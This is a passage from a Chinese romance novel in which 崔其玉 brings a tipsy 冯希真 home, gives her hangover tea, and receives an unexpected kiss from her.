玉侧首,低眼看她。 她的眉心不知为何竟蹙着,不像她以往任何时候,瞧着似乎很不舒服。 崔其玉忍不住抬起左手来,指尖轻轻落到她眉心摩挲下,她似乎因此松解开眉头,但须臾又皱起来,崔其玉便又用指腹扫了扫,接着就让冯希真抬起手拍了一巴掌。 “……” 他默默收回手来,然后又试探着将脑袋轻轻偏了下,以一种别扭的姿势贴在冯希真的脑袋上,不过贴上没一会儿,马车就轧过低洼处,冯希真脑门撞疼他下颌,他才委屈巴巴收回头。 此后一路上,冯希真格外安静,像是睡着了,直到回了漪园,崔其玉才抱着人回起居院中去。 携月瞧见这情形,原是要跟进屋中瞧瞧,但崔其玉只教她去备些醒酒茶就将人撵下去,携月见他又抢她的活干,唯有按嘱咐去传话。 主屋内,崔其玉先将冯希真放到榻上,脱掉教雨打湿的鞋袜与外头穿着的褙子后,才将人抱去床上躺下,而后换下自己的脏衣物,这才在床榻边缘坐下。 冯希真已经将床头一只隐囊捞来怀中抱着,先前在马车上皱着的眉头总算松解开,似乎躺下后就安宁下来。 崔其玉看着她,又蠢蠢欲动伸出手指来,先理了理她先前蹭乱的头发,而后勾勒她的鼻子,渐渐地,手又想落到她嘴唇上。 早间在马车上遭她拒绝的情形还历历在目,眼下他断不会再生出什么旖旎心思,反而又有些失落。 希真为何不想要他吻她呢? 他缩回手来,此后竟始终愣愣坐在床边,有几分垂头丧气,直到门外传来携月的唤门声,他才起身朝门边去。 等他走开,床上的冯希真才睁开双眼来,迷离中好像又夹带着丝丝清明。 她听见崔其玉与携月的声音短暂响起,听见关门声,听见崔其玉走近,没有再闭上眼睛。 因而,崔其玉走回榻边时就瞧见她醒了,忙道:“希真,你醒了,是我吵醒你了吗?” 笨。 冯希真这样想着,不说话。 崔其玉以为她还没清醒,便将盛着解酒茶的托盘放到床头,低腰将她抱起,将她怀中的隐囊垫在她身后,整个人都靠坐在床架上。 他便重新坐到床边,端起醒酒茶来,舀上一匙,吹得温度合宜再送去冯希真嘴边。 冯希真看看他,默默饮下一口,他便又低眉舀上一匙。 她几乎这才迟钝觉察到,崔其玉一直以来都在对她好,打磨镯子送她、为她买酥山坊的糕点、陪她去净猫园……所以,他才会想要从她这里得到些什么回应罢? 不是一味索取,而是合理索要回报。 她理不清,脑袋还有些眩晕,但只饮下半碗醒酒茶便对崔其玉摇头说:“不想喝了。” 崔其玉放下茶汤,问她:“那可好些了?” 她不知道,只仰着面庞,像早间在狭隘的马车上时那样看他。 许久,她倏地坐直身,双手搭住他侧转的肩膀,借力扬起脸来,毫无征兆地亲吻上他柔软的双唇。